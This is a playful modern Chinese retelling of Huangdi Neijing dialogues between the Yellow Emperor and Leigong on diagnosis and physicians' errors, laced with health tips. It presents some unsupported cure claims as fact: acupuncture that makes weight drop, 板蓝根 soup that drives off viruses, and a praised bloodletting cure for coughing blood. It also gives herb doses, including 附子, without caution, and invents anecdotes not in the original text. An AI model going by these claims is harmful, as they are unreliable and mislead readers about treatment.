雷公一听，心里那个忐忑啊，就像咱们现在考试前夜没复习好的感觉。他想了想，恭敬地说：“陛下，您这题目可真够大的。臣呢，就先从最基本的《脉经》说起吧，这书上下篇加起来，内容多得跟大海似的。我虽然能分辨个大概，但要说到十全十美，那还差得远呢。更别说要明明白白解释给您听了，臣做不到啊！” 黄帝陛下悠悠地说：“雷公啊，你给朕详细说说，五脏要是出了岔子，六腑不和的时候，那些个针灸啊、草药啊、汤药啊，到底该怎么用？它们各自有啥讲究，疗效如何？要是朕不知道这些，你可得给朕好好补补课！” 雷公一听，嘿，这可是个展现自己专业知识的好机会，于是他清了清嗓子，开始了他的“健康小讲堂”。 “陛下，您问得好！咱们先说说这五脏吧。您知道，肝、心、脾、肺、肾，个个都是宝贝疙瘩，它们要是虚了，人可就不舒坦了。比如说，肝虚了，人就容易头晕目眩，情绪不稳定；肾虚呢，就腰酸腿软，精神不振；脾虚嘛，那就是食欲不振，体重增加，还老觉得心里烦闷。这体重增加啊，可不是咱们现代人说的‘幸福肥’，而是身体在告诉你，该注意调理了！” “那怎么办呢？别急，咱们有妙招！”雷公接着说，“首先说毒药，这儿的毒药可不是您想的那种能要人命的，而是指药性强烈，能治病救人的草药。比如，针对肝虚，咱们可以用点枸杞，那可是养肝明目的好手，每天抓一小把泡水喝，长期坚持，效果杠杠的。至于肾虚，六味地黄丸您听说过吧？那可是补肾的经典方剂，里面有熟地、山萸肉、山药、茯苓、泽泻、牡丹皮六味药，每味药都精确到克，配伍严谨，滋阴补肾，效果那是杠杠的！” “再来说说针灸吧，这可是咱们中医的独门绝技。比如脾虚导致的体重增加和烦闷，咱们可以扎扎‘足三里’这个穴位，您知道吗？这穴位就像是脾胃的‘加油站’，一针下去，脾胃动力满满，消化好了，体重自然就下来了，心情也跟着好了。”雷公边说边比划着，仿佛真的在给皇帝扎针一样。 “还有啊，陛下，您提到的砭石和汤液，那也是不可小觑的。砭石啊，就是咱们现在说的刮痧、拔罐用的那种石头，通过刺激皮肤，促进血液循环，排出体内的湿气和毒素。至于汤液嘛，那就是咱们常喝的中药汤了。比如脾虚的人，可以煮点薏米红豆汤喝喝，薏米祛湿健脾，红豆补血养心，两者一结合，那效果，啧啧，简直了！” 说到这里，雷公还特意补充了一句：“不过啊，陛下，虽然这些方法都挺好，但也得根据个人体质和病情来用。就像做菜一样，得讲究个‘色香味’俱全，还得考虑食材的新鲜度和搭配。所以，要是身体不舒服了，还是得找咱们专业的中医大夫看看，别自己乱来哦！” 黄帝问：“那些深奥难解的病症，你却用《黄帝内经》里的《上下篇》理论来回答，给我回答一下为什么？” 雷公说：“您知道吗？中医里讲究的是望闻问切，四诊合参，有时候症状看似简单，背后的机理却复杂得很。比如说，脾虚了，脉象可能浮大得像肺病，肾有点小毛病呢，脉象又可能像脾虚那样显得不够沉稳。还有啊，肝要是急躁了，脉象沉而散乱，还可能让人误以为是肾病。这些啊，都是我们这些当医生的时不时会遇到的“小混乱”，但只要我们心细如发，从容不迫地诊察，总能找到真相。 至于您提到的肝、脾、肾三脏，它们可是人体里的“土木水”三巨头，相互依存，相互制约，就像是自然界的生态系统一样。这个道理，连小孩子都能理解个大概，您问我这个，是不是想考考我的基本功啊？ 不过，雷公这家伙，他倒是真提了个有意思的病例来讨论。他说啊，有这么个人，头疼得跟被紧箍咒勒着似的，筋还时不时抽筋，感觉骨头都变重了，走起路来都费劲。而且啊，这人还气短，稍微动一下就喘，吃点东西就容易打嗝，肚子总是胀鼓鼓的，晚上还老失眠，时不时还会被吓一跳。您说，这到底是哪个脏腑出了问题呢？ 仔细一听，嘿，这症状还真够全的！不过，咱们中医讲究的是“有诸内必形诸外”，这些症状虽然复杂，但总能从脉象上找到线索。雷公说他的脉象又浮又弦，按下去还硬邦邦的，跟石头似的。这脉象啊，就像是在给我们讲故事，告诉我们这人体内正气和邪气正在激烈交战呢！ 咱们来分析分析啊，这浮脉呢，一般表示病在表，或者是有风邪入侵；弦脉呢，多半是肝气不舒，或者是有痰饮、疼痛之类的病症。而这脉象硬如石，更是提示我们，这人体内可能有瘀血 或者痰湿之类的实邪，正堵在那里，让气血运行不畅呢！ 现在啊，咱们来个小小的推理游戏。既然头疼筋挛，那很可能是风邪侵袭经络，加上肝木不舒，肝气郁结，导致气血不能顺畅地滋养头部和四肢。而骨重少气，则可能是肾气不足，肾主骨生髓，肾气不足，自然就感觉骨头重，没力气了。至于哕噫腹满，那更是脾胃不和的典型表现，脾胃是气血生化之源，它们一闹别扭，整个消化系统都得跟着遭殃。 至于治疗嘛，咱们得根据具体情况来开方。不过啊，我可以给您描绘个大概的思路。首先呢，得祛风通络，让头部的气血畅通起来，可以用点川芎、白芷之类的药材，它们就像是自然界的微风，能轻轻吹散经络里的阴霾。然后啊，要疏肝解郁，让肝气顺畅起来，柴胡、香附这些药材就是不错的选择，它们就像是心情的调节剂，能让肝气不再那么急躁。 接下来啊，还得健脾和胃，毕竟脾胃是后天之本嘛。茯苓、白术、陈皮这些药材就像是厨房里的大厨，能调理好脾胃这个“大锅饭”，让它们重新焕发生机。至于补肾嘛，那就得根据是肾阳虚还是肾阴虚来决定了。肾阳虚的话，可以用点肉桂、附子来温补肾阳；肾阴虚的话，那就得用点熟地黄、山茱萸来滋养肾阴了。 当然啦，这只是一个大概的思路，具体用药还得根据病人的具体情况来调整。比如啊，如果病人还有失眠多梦的症状，那就可以在方子里加点酸枣仁、远志之类的安神药；如果病人还有痰多的情况，那就可以加点半夏、陈皮来化痰。 说到这里啊，您是不是觉得中医治病就像是做一道复杂的菜肴？既要考虑食材的搭配，又要考虑火候的掌握，还得根据食客的口味来调整。不过啊，这正是中医的魅力所在啊！它不仅仅是一门医学，更是一门哲学、一门艺术。 黄帝悠悠地说：这看病啊，就像咱们挑西瓜，得先看瓜的年龄——哦不，是病人的年龄。年长的老人家，咱们得多关注他们的“腑”系统，也就是肠胃啊、膀胱这些“后勤部门”，因为岁月不饶人，它们容易先出问题。而年轻人呢，身体正盛，疾病往往喜欢从“经”上找突破口，经络畅通则百病不生嘛。至于壮年朋友，那就得深挖“脏”的层面了，心肝脾肺肾，哪个不是咱们身体的“ceo”？ 咱们现在讲究的是“八面玲珑”，哦不对，是“八风防护”。您想啊，自然界的风啊雨啊，要是长期憋着不流通，成了“菀热”，那五脏六腑可就遭殃了，一个个跟被火烤过似的，消耗得厉害，病还爱串门，这个传给那个，热闹得很。 说到脉象，那可是中医的独门秘籍，咱们得细细道来。比如那“浮而弦”的脉象，就像是海面上飘荡的风筝线，轻轻一碰就知风向，但线本身却紧绷绷的。这啊，其实是肾在喊救命呢，说它“不足”了，需要咱们给它加点油，补补元气。再比如“沉而石”的脉象，沉得跟海底的石头似的，摸半天才摸到点儿边儿，这是肾气在里头“宅”得太久了，出不来了，得想办法让它透透气。 还有那“怯然少气”的，整个人就像霜打的茄子，蔫儿吧唧的，连说话都提不起劲儿。这啊，是身体的“水渠”堵了，水液代谢不畅，形体和精神都跟着萎靡不振。这时候，咱们得给他通通渠，让生命之水源源不断。 至于咳嗽加烦闷，那简直就是肾气的“小叛逆”，自个儿在家待不住，非要跑到喉咙口闹腾一番，让人不得安宁。这时候，咱们得给它来个“心理疏导”，让它乖乖听话，回归正道。 这人体啊，复杂又精妙，一个脏器的病，就能牵动全身。但咱们不能一竿子打翻三艘船，说哪儿哪儿都有问题，那不成了“庸医”了嘛。得精准定位，对症下药，这才叫高明。 说到这里，我得给大伙儿介绍几个现代版的“养生小妙招”。比如，对付“肾不足”，咱们可以多吃点黑色食物，像黑芝麻、黑豆，它们可是补肾的小能手。再配合点简单的穴位按摩，比如涌泉穴，就在脚底心，每天按一按，肾气自然就足了。 对于“肾气内着”的朋友，可以试试艾灸，特别是关元穴，那可是补肾阳的宝地。点上一根艾条，温温柔柔地灸一灸，感觉就像冬日里的暖阳，舒服极了。 至于“水道不行”的，那就得喝点薏米红豆汤，利尿又消肿，还能排出体内湿气。再加上按揉三阴交穴，这可是调理水液代谢的“万能穴”，按一按，全身轻松。 最后，咳嗽烦闷的朋友，不妨试试雪梨炖百合，润肺止咳，还能清心除烦。再配合深呼吸，让心情随着每一次呼吸慢慢平静下来，就像湖面上的涟漪，渐渐归于宁静。 总而言之，中医养生之道，在于顺应自然，调和阴阳。咱们不必追求什么仙丹妙药，只要在日常生活中多加注意，合理饮食，适量运动，再辅以简单的穴位按摩和食疗，就能让身体保持最佳状态。这样一来，不仅自己少受罪，还能省下不少看病的银子呢！ 雷公说：陛下，臣有次闲着没事儿溜达呢，就遇到了这么一档子事儿。 我走着走着，就瞅见一哥们儿，咱们就叫他阿强 吧，阿强呢，整个人看起来跟霜打的茄子似的，四肢软绵绵的，走起路来跟刚学会走路的小鸭子没两样，还时不时地喘着粗气，咳嗽几声，更夸张的是，居然还能咳出血来，看得人是心惊胆战啊。 我一看，心里咯噔一下，心想：“这症状，不是伤着肺了嘛？”于是，赶紧上前，搭手一摸脉，嘿，这脉象浮大得跟海上的小帆船似的，摇摇晃晃，还特别虚，感觉风一吹就要散了。这下，我心里有点没底了，心想：“这病，我老人家可不敢轻易下手啊，万一误诊了，那可就是砸了自己的招牌。” 正当我犹豫不决，准备召集个专家会诊的时候，旁边蹦出个愣头青，咱们就叫他“粗工小李”吧。这小李啊，年轻气盛，一看雷公这犹豫劲儿，心想：“这老家伙不会是怂了吧？”于是，他也不管三七二十一，直接从包里掏出一块砭石（古代用来刮痧、放血的石制工具），对着阿强就比划起来。 “哎呀，小李啊，你这是要干啥？”我在一旁看得是目瞪口呆，想拦都来不及。只见小李手法娴熟，几下子就在阿强身上某个穴位（咱们现代人可以理解为类似“肺俞穴”或者“大椎穴”这样的地方，但具体哪个咱也不知道，毕竟历史久远，穴位名称有变化）上划了个小口子，血就开始汩汩往外冒。 这下可好，阿强是疼得龇牙咧嘴，但神奇的是，血一流出来，他那喘咳的症状居然开始慢慢缓解了，脸色也渐渐恢复了些血色。等血流得差不多了，小李麻利地给阿强包扎好伤口，阿强站起来试了试，嘿，四肢也不那么软绵绵了，整个人感觉轻松了一大截。 “这……这是咋回事儿？”我看得是一愣一愣的，心里那个惊讶啊，简直比吃了十颗惊喜果还夸张。 于是，我就拉着小李问个不停：“你这小子，到底是咋整的？这病看着明明是伤肺，你怎么一放血就好了？还有啊，你放血的那个穴位，到底是啥名堂？” 小李嘿嘿一笑，得意地说：“雷公爷爷，您这可是少见多怪了。这人啊，有时候身体里的气血不顺，就像河道堵了似的，得找个口子疏通一下。我刚才放血的那个地方，虽然不是直接针对肺的，但它是条经络上的要害，一通百通嘛。至于具体是哪个穴位，嘿嘿，这可是我的独门秘籍，不能轻易透露哦。” 我一听，这才恍然大悟，原来中医之道，博大精深，有时候看似简单的方法，却能起到意想不到的效果。这时我也不禁感叹：“真是后生可畏啊！看来我这把老骨头，还得多学习学习才行。” 黄帝大人对雷公说：“老兄啊，我知道你医术了得，能治好多疑难杂症，但这次你的诊断，我觉得有点儿偏了道儿。这就好比一只大雁想要翱翔天际，结果却迷失了方向。真正的医学大师治病，那可是有法可依，有度可循，他们善于从自然界中寻找规律，比类取象，在无形之中化解病痛，从上到下，全身调理，哪用得着死守那些教条呢？” 黄帝这么一说，咱们就得细细琢磨了。他说到脉象“浮大虚”，这其实是告诉我们，病人的脾气（中医里的脾不仅仅指器官，还代表了一种生理功能）已经外散，就像离了家的孩子，跑到了胃的外围，归附到了阳明经上。想象一下，阳明经就像家里的客厅，突然来了好多不速之客（脾气外散），这客厅能不乱套吗？再说“二火不胜三水”，这其实是中医里五行相生相克的道理，火少了，水就泛滥了，脉象自然就乱了套，没个定数。 然后黄帝又说，病人四肢无力，软绵绵的，这是因为脾精（可以理解为身体的能量精华）没法正常输送到四肢了。而喘咳呢，就像家里水管漏水，水气（湿气、寒气）趁机跑到阳明经捣乱，搞得人咳嗽不止。至于血泄（可能是指便血或月经过多），那是因为脉象急促，血液在血管里乱窜，找不到回家的路，只好从不该出的地方溜出去了。 这时候，如果有人以为这是伤了肺，那就大错特错了！这就像是把苹果当成了梨，完全不是一个味儿嘛。黄帝又批评雷公说：“这种不根据症状比类推理，就是知识不够全面啊！”他进一步解释道，如果真是伤了肺，那脾气和胃气都会受影响，经络系统也会罢工，最终导致真脏受损，经脉旁支断绝，五脏六腑都漏风漏气，不是流鼻血就是呕吐，这两种情况跟前面说的可是天差地别，就像是白天和黑夜，差得远了去了。 黄帝最后还自嘲了一下：“哎，这事儿我得检讨，原本以为你明白，就没多解释。其实啊，明白地引导大家比类推理，从容不迫地诊断，这才是真正的‘诊经’，是医学的至高境界啊！” 疏五过论篇第七十七 黄帝感叹道：我就像是站在了宇宙的边缘，望着那深不见底的渊薮，又好像是在伸手迎接那飘渺不定的浮云。你说看深渊吧，好歹还能估摸个深浅，可那浮云嘛，飘来飘去，无边无际，谁能抓得住它的尽头呢？ 咱们这位黄帝大人，不仅是位哲学家，还是位伟大的医者，他创下的医术，那可是给万民当榜样的。他说啊，治病救人这事儿，得有个章法，不能随心所欲。得按照经典，守着规矩，一步步来，就像是按照食谱做菜，少一味调料都不行。这样，才能真正成为老百姓的守护神。 黄帝话锋一转，突然问了雷公一个问题：“你知道在治病过程中有‘五过’这回事吗？”雷公一听，吓得赶紧从座位上跳起来，连连行礼说：“哎呀，陛下，我这小年轻，脑袋里跟浆糊似的，哪里听说过什么‘五过’啊？平时也就照着书本上的名词瞎比划，心里头其实跟明镜似的——啥也不懂！您这突然一问，我真是心里没底啊！” 哈哈，看到这儿，你是不是也被雷公的憨态可掬给逗乐了？别急，咱们这就来聊聊这神秘的“五过”，让它变得既接地气又有趣味。 首先，咱们得明白，“五过”其实就是医者在诊疗过程中容易犯的五种错误。黄帝这是在给雷公，也是给咱们后人敲警钟呢！ 第一过，叫做“粗工凶凶，以为可攻”。这就像是个急性子的厨师，菜还没下锅呢，就想着怎么大火快炒，也不管食材新不新鲜，调料够不够。在医学上，这就是指那些粗心大意的医生，不问病情，不辨寒热虚实，上来就想着开猛药、动刀子，结果往往是病没治好，反而添了新乱子。咱们得记住，治病如绣花，得细心再细心。 第二过，“自以为得，断然行之”。这就像是个自以为是的厨师，觉得自己手艺了得，不管客人爱不爱吃辣，非得在每道菜里都撒上辣椒粉。医生要是这样，那就是只凭自己的经验或者偏见来治病，不考虑病人的具体情况，结果往往是南辕北辙，越治越糟。所以啊，医生得学会倾听病人的声音，尊重个体差异。 第三过，“诊病不问其始，忧患饮食之失节，起居之过度，或伤于毒”。这就像是个不问前因后果的侦探，只看现场，不问案情经过。医生要是这样，那就是只看症状，不问病史、生活习惯、饮食起居，还有可能忽略了环境因素，比如中毒什么的。这样的诊断，能不跑偏吗？所以，医生得是个细心的侦探，病人的每一个细节都不能放过。 第四过，“病不许治，病必不治，治之无功矣”。这就像是个强行推销的销售员，不管顾客需不需要，非得把产品往人家手里塞。病人如果不信任医生，或者自己不愿意接受治疗，那医生再怎么努力也是白搭。所以啊，医患之间的信任和理解，是治疗成功的关键。 第五过，“病已发，而未有形，病人未苦，尚先治之，阴阳俱虚，无有先后，而积杀之”。这就像是个过度干预的家长，孩子还没犯错呢，就开始各种批评教育。医生要是这样，那就是在病情还没明朗之前，就急着下猛药、动手术，结果把病人的正气也给伤了。正确的做法是，先观察病情发展，再选择合适的时机和方法进行治疗。 黄帝给病人进行科普：“嘿，来瞧病的朋友，我得先问您几个问题哈。您是不是曾经风光无限，后来却遭遇变故，地位一落千丈？告诉您，这可不是简单的运气不好，这事儿能直接从您心里头长出病来，咱们中医叫它‘脱营’。再比方说，您原先家境殷实，后来家道中落，那感觉就像是丢了魂儿一样，这在中医里啊，就叫‘失精’。您看，人生的大起大落，五脏六腑都得跟着遭殃，病就这么悄无声息地找上门了。” 听到这儿，您是不是觉得这医生挺玄乎的？别急，咱们继续。黄帝接着说：“还有啊，人要是长期被各种情绪、压力纠缠不休，就像是五种不同的气（咱们可以理解为喜、怒、忧、思、恐）在身体里开起了派对，不肯走，结果呢，病就来了个‘大串联’，一块儿发作。这时候啊，你去找大夫看，他可能摸了半天你的肚子，查了半天你的舌头，却发现脏腑好好的，身体也没变形，就是搞不清楚你为啥总觉得哪儿不对劲。其实啊，这就是情绪病，悄悄地在消耗你的气血，让你一天天消瘦下去，整天提不起精神，时不时还心惊胆战的。” “更严重的是，这种病啊，它是内外夹击。外面呢，它耗损你的卫气，让你的抵抗力变弱；里面呢，它又掠夺你的营血，让你的身体越来越虚。所以啊，很多高手医生也会在这里栽跟头，就是因为他们没能问出这些背后的故事，没能看透这病根儿在哪儿。” 说到这儿，咱们不妨来点幽默感。想象一下，如果这时候你突然问医生：“那我是不是得找个心理医生聊聊，再配合点中药补补？”医生可能会笑眯眯地回答：“哈哈，没错，心药也得靠医，但咱们中医讲究的是身心同治。来，我先给你开副‘心情调节汤’，主料嘛，就是‘乐观’三钱，‘宽容’二两，‘淡泊’一把，再加点‘运动’的水，小火慢炖，每日一剂，保你心情舒畅，病去如抽丝。” 当然啦，这“心情调节汤”只是个玩笑，但背后的道理却是真的。黄帝接着强调：“所以啊，看病之前，咱们得先问问病人的饮食起居，还有他们的心情变化。比如说，突然的大喜大悲，或者从快乐到悲伤的急速转变，这些都能让人的精气神儿大伤。就像是你刚吃完一顿大餐，突然告诉你没钱付账，那心情能好得了吗？精气神儿一下子就没了，身体也跟着垮了。” “再来说说情绪吧，暴怒啊，那是直接伤阴的，就像是大夏天里突然浇了一盆冷水，让人从里到外透心凉；暴喜呢，又容易伤阳，就像是冬天里突然给你来个大太阳，暖和是暖和，但过犹不及，容易出问题。这些极端的情绪，就像是身体里的‘叛逆少年’，一不高兴就四处捣乱，把气血搅得乱七八糟，甚至能让你的脉象都变得乱糟糟的。” “脉象啊，那可是中医的独门秘籍。正常的脉象应该是平稳有力的，像是一条潺潺的小溪。但如果你被情绪绑架了，脉象就可能变得忽快忽慢，忽强忽弱，就像是小溪突然变成了山洪暴发，或是直接干涸了。这时候啊，大夫就得瞪大眼睛，仔细分辨，才能找到那藏在脉象背后的秘密。” 有那么些个医生，咱们姑且称他们为“呆萌医生”吧，他们治病啊，就像是盲人摸象，全凭感觉走。不知道啥是补法，啥是泻法，更别提深入了解病情了。结果呢，病人的精气神儿就像秋天的树叶，一天比一天凋零，而那些个邪气啊，就像是找到了组织，成群结队地往病人身体里钻。这，就是治疗的第一大“过”了——无知者无畏，但治病可不能这么玩！ 再来说说那些个“脉诊高手”，他们啊，得会那么几招：比类、奇恒、从容。听起来玄乎吧？其实啊，就是得会对比分析，掌握正常与异常的脉象差异，还得心态平和，不急不躁。要是医生自诩为高手，却连这些基本功都不扎实，那他的诊断啊，就跟瞎猫碰死耗子差不多，没啥好值得炫耀的。这，就是治疗的第二大“过”——学艺不精，误人误己。 接下来，咱们聊聊“诊病三常”，这第一条就是得问病人的身份地位。为啥？因为啊，人的心情、生活状态跟健康息息相关。比如说，那些曾经高高在上，后来失势的贵族们，他们心里那个落差啊，比坐过山车还刺激。就算没直接生病，这精神上的打击也足以让他们身体垮掉。再比如，从富翁变成穷光蛋的，物质上的匮乏还能忍，但那份失落感，足以让他们的皮肤干瘪，筋骨僵硬，走起路来跟蹒跚学步的娃娃似的。所以啊，医生得是个心理大师，得能洞察人心，不然怎么治得好病呢？这，就是治疗的第三大“过”——不懂人心，难成良医。 咱们得说说这“医事不行”的第四大“过”。有些医生啊，态度不严肃，说话没分量，就像是在跟你聊家常似的，完全激不起病人的斗志和信心。他们外表看起来柔柔弱弱的，一点威严都没有，结果呢，遇到紧急情况就手忙脚乱，完全乱了阵脚。这样的医生啊，别说治病救人了，连稳住病情都难。所以啊，医生得是个多面手，既要有医术，又要有气场，还得能跟病人打成一片，让他们从心底里信任你，愿意跟着你的节奏走。 首先，你得是个“情感分析师”，得能感知病人的情绪波动。为啥？因为情绪这东西，它可是能直接影响身体的“内环境”的。你切脉的时候，不仅要数那心跳的快慢，还得感受那脉象背后的故事。是喜是怒，是忧是恐，这脉象里都能给你“透露”点儿。而且啊，这还得分男女，男人女人，情绪表达不一样，身体反应也不一样，得对症下药，不然可就南辕北辙了。 再来说说这“离绝菀结”，听着就挺玄乎的，其实就是指那些心里头的事儿，积压久了，身体也跟着遭殃。现代人嘛，压力大，心事多，五脏六腑就容易“空虚”，气血也就不那么听话了，到处乱跑，这就是为啥有人总觉得这儿疼那儿痒，其实根儿在心上。这时候，医生就得是心理医生加身体调理师，双管齐下，才能药到病除。 可偏偏有些医生啊，手艺不精，还爱装大尾巴狼，一问三不知，就敢开方子。这就像你玩游戏，不看攻略，瞎按键盘，能赢才怪呢！就说这“尝富大伤”，听着像是土豪突然破产的忧伤，但其实是指身体经历了大起大落，比如暴饮暴食后突然节食，或者长期劳累突然放松，身体就跟你闹别扭了。这时候，筋脉都可能受损，得慢慢调养，让身体自己恢复元气，就像手机没电了要慢慢充电，不能一下子充爆了一样。 可有些“粗工”医生呢，一看病人这状态，二话不说，针啊灸啊一股脑儿上，结果呢？身体没调理好，反而更散了架，四肢抽筋，跟跳抽筋舞似的。这时候，离“见马克思”也就不远了。所以啊，医生得是个细心人，得问清楚病人的前因后果，不能光凭感觉乱来。不然，人家来治病，你给人家判了“死期”，这不是开玩笑嘛！ 咱们人体这个小宇宙，得跟外面那大宇宙——天地、阴阳、四季变化啥的，和谐共舞才行。要是哪个环节没对上频率，嘿，身体就得闹别扭了。这就好比手机信号不好，电话打不通，信息接收不了，那能不憋屈嘛！ 咱们先说说这“天地阴阳，四时经纪”。您想啊，春天万物复苏，阳气上升，咱们就得跟着这节奏，多出去走走，晒晒太阳，让身体里的“小太阳”也亮堂起来；到了冬天，雪花飘飘，寒气逼人，那就得注意保暖，别让“小冰箱”模式在咱体内开启。这不就是顺应自然，调节阴阳嘛！ 再来说说“五脏六腑，雌雄表里”。这五脏啊，就像是朝廷里的五大部门，心肝脾肺肾，各有各的职责，互相协作，维持着身体的正常运转。而六腑呢，就像是这些部门的后勤团队，消化、排泄一条龙服务。至于“雌雄表里”，咱们不妨理解为身体的内外双循环，比如手太阴肺经对应手阳明大肠经，一对好基友，表里相合，共同守护咱们的呼吸系统和消化系统。 说到治病手段，“刺灸砭石，毒药所主”，那可是五花八门，精彩纷呈。刺，就是针灸，一针下去，气血通畅，病痛全消，那感觉，就像给身体做了个高级spa；灸，就是艾灸，用艾草那温暖的怀抱，驱散体内的寒气，温暖你的心房；砭石，那可是古老的刮痧神器，刮一刮，通经活络，排毒养颜，美得很！至于毒药嘛，别害怕，这里的“毒药”指的是能治病的中草药，比如咱们熟知的板蓝根，清热解毒，一杯下肚，感冒退散，神清气爽。 接下来，咱们得“从容人事，以明经道”。看病得看人，不是一刀切。贵贱贫富，那都是浮云，关键是每个人的体质、年龄、性格都不一样。比如，年轻人火力壮，恢复快，可能用点猛药就见效；老年人呢，就得温柔点，慢慢调理。还有啊，有的人胆大包天，无所畏惧，生病也来得快去得快；有的人呢，胆小如鼠，一点点风吹草动就吓得半死，这样的体质，调理起来就更得细心了。 “问年少长，勇怯之理”，这就是咱们中医的望闻问切中的“问”了。医生得像个侦探，把病人的情况摸得一清二楚，才能对症下药。至于“审于分部，知病本始”，那就是要找准病根儿，知道病是怎么来的，才能从源头上解决问题。 再来说说“八正九候”，这可是中医诊断的独门秘籍。八正指的是八个时间段的脉象变化，九候则是通过摸手腕上的三个部位（寸、关、尺），每个部位又分浮、中、沉三层，共九候，来判断身体的健康状况。这九候啊，就像是个精密的雷达系统，能捕捉到身体内部的微妙变化，让病无所遁形。 现在，咱们来个小幽默环节。想象一下，如果你去看中医，医生开始给你把脉，那眼神专注得，就像是在鉴赏一幅名画。然后，他可能会轻轻皱眉，思考片刻，突然眼前一亮，说：“哎呀，你这脉象，简直比股市大盘还复杂啊！不过别怕，我这有独家秘方，保证药到病除！” 这秘方啊，可不是随便来的。比如，对付感冒，咱们可以来个“板蓝根炖鸡汤”。别笑，这可是有讲究的。板蓝根清热解毒，鸡汤温补身体，两者结合，既能赶走病毒，又能增强体质。制作方法也简单，就是把适量的板蓝根和鸡肉一起炖煮，直到鸡肉软烂，汤色浓郁，加点盐调味，一碗热腾腾的板蓝根炖鸡汤就出炉了。喝上一口，暖身又暖心，感冒啥的，统统拜拜！ 说起这治病啊，简直就是一场身体内部的寻宝探险！咱们得把“气”这家伙当成最宝贵的宝藏，它在咱们体内四处游走，藏着健康的秘密。要想找到这健康的钥匙，咱们就得遵循身体的自然规律，像侦探一样，一步步抽丝剥茧。 可有时候，这“气”小子玩起了捉迷藏，怎么找也找不到，这时候啊，你就得反思了，是不是没分清里外的界限？就像是你在家里找钥匙，结果却在门外转悠，那能找得到吗？所以啊，治病得守规矩，得按照身体经络的“数据”来，别偏离了穴位这个“导航仪”。只要你掌握了这套方法，嘿，保证你一辈子都健健康康，不怕病来扰！ 但话说回来，要是你不了解这些穴位背后的“俞理”（也就是经络运行的规律），那就像开车不看导航，瞎转悠，结果嘛，五脏六腑可就遭殃了，热气淤积，搞不好还能整出个“痈”来，那可是身体里的“小火山”啊！看病时，如果医生不仔细，那就是“失常”了，跟吃饭忘了加盐一样，没滋没味，还不健康。咱们得时刻提醒自己，治病得严谨，得跟经典医书《上经》《下经》里的智慧相呼应，那可是老祖宗留下的宝贵经验。 现在，咱们来聊聊这穴位的事儿。在古代，穴位名字可能听起来玄乎，但咱们可以给它穿上现代的外衣，让它们更接地气儿。比如“太渊穴”，它就像是咱们手腕上的“能量泉眼”，位置就在手掌横纹与桡动脉搏动处的交汇处，轻轻一按，仿佛能感受到一股清泉在体内流淌，对心肺特别好。再比如说“足三里”，这可是个“养生大穴”，在小腿外侧，膝盖骨下三寸的地方，每天按一按，就像是给身体做了次深度spa，脾胃功能都跟着强大了起来。 说到方剂，那简直就是中药界的“烹饪大赛”，各种药材按比例搭配，就像是厨师手里的调料，多一分则过，少一分则不及。比如经典的“四君子汤”，那就是给脾胃虚弱的人量身定制的“滋补大餐”。它由人参（现在常用党参代替，约9克）、白术（约9克）、茯苓（约9克）和炙甘草（约3克）四味药组成，用水一煮，那味道，虽然不及红烧肉诱人，但喝下去，脾胃就像得到了春天的雨露，焕发新生。 脉象嘛，就像是身体的“语言”，咱们得学会听它说话。比如“浮脉”，就像是水面上的浮萍，轻轻一按就能感受到，这种脉象往往提示着外感风寒；而“沉脉”呢，就像是潜水员在水下探索，得用力按才能摸到，这通常表示病在里，可能是脏腑出了问题。把脉时，咱们得静下心来，跟自己的身体对话，感受那细微的跳动，就像是在读一本无字天书，虽然难，但乐在其中。 说到这，治病之道其实也挺有意思的，它不仅仅是科学，更是一门艺术，一门需要耐心、细心和爱心的艺术。咱们得像侦探一样，寻找身体里的“气”宝藏；像厨师一样，精心调配每一剂药方；像诗人一样，聆听身体的“脉象之诗”。只有这样，咱们才能在健康的道路上越走越远，让身体这个“小宇宙”永远充满活力和光明。 所以啊，朋友们，别再把治病当成苦差事，它其实可以很有趣，很生动。只要你用心去体会，去感受，你会发现，原来健康可以这么简单，这么美好。让我们一起，踏上这场寻宝之旅，寻找属于自己的健康宝藏吧！ 徵四失论篇七十八 在古老的华夏大地上，黄帝，这位被尊为人文始祖的帝王，不仅是个治国高手，还对医学、哲学等诸多领域有着深厚的造诣。某日，阳光明媚，黄帝坐在他那庄严而又不失温馨的明堂之中，四周环绕着古籍典册，空气中弥漫着淡淡的书香与草药的芬芳。雷公，这位医术高超、经验丰富的医师，恭敬地坐在黄帝的侧旁，两人正进行着一场跨越时空的医学对话。 黄帝笑眯眯地看着雷公，眼神中满是期待与赞赏：“雷公啊，你这一生所学所悟，所经手的医案书籍，简直是数不胜数。今天，咱们不妨轻松点，聊聊你在行医过程中的那些得与失，说说你是怎么在疑难杂症中找到破解之法的，又是如何在不经意间走了弯路的吧。这不仅是你的经验之谈，更是对后世医者的宝贵财富啊！” 雷公闻言，谦逊一笑，仿佛回到了那些年穿梭于山林间，采集草药，救治苍生的日子。“陛下所言极是，医者之路，漫长且艰辛，每一步都需谨慎。记得有一回，我遇到了一位久咳不愈的老妪，她面黄肌瘦，气息奄奄。我初时按常规，给她开了几副润肺止咳的方子，却收效甚微。这让我深感挫败，夜里辗转反侧，思索着问题所在。” “后来，我灵机一动，想到了咱们黄帝内经中提到的‘肺为娇脏，易受外邪侵袭，然亦需内调气血以养之’。于是，我重新审视了老妪的脉象，发现她脉象细弱无力，显然是气血不足所致。于是，我调整了药方，加入了黄芪、当归等补气养血之药，同时辅以针灸，刺激了她身上的‘气海’、‘足三里’这两个现代我们常说的‘能量加油站’穴位，促进气血生成与循环。” “嘿，您还别说，这一招还真灵！没过多久，老妪的气色渐渐好转，咳嗽也明显减轻了。这事儿让我明白，医学之道，在于变通，在于细心观察，更在于对病人整体状况的全面把握。”雷公说到这里，脸上洋溢着自豪与满足。 黄帝听后，点头赞许：“妙哉！雷公，你这一番话，不仅是对医术的精进，更是对医者仁心的诠释。记得咱们中医讲究‘望闻问切’，四诊合参，方能准确无误。而你在实践中，更是将这一理念发挥得淋漓尽致。” “再说说那‘失’吧，记得有一次，我急于求成，面对一位急性腹痛的病人，未经详细诊断，便匆匆开了几味强效止痛药。结果，虽然暂时缓解了病人的痛苦，却掩盖了病情的真实面目，险些延误了治疗时机。”雷公说到这里，语气中不免带有一丝懊悔。 “那次经历，让我深刻体会到了‘欲速则不达’的道理。作为医者，我们不仅要有精湛的医术，更要有冷静的头脑和严谨的态度。每一个细节都可能关乎生死，容不得半点马虎。” 黄帝闻言，拍了拍雷公的肩膀，语重心长地说：“雷公啊，你的这些得与失，都是宝贵的财富。它们告诉我们，医学之路永无止境，只有不断学习，不断反思，才能成为真正的苍生大医。” 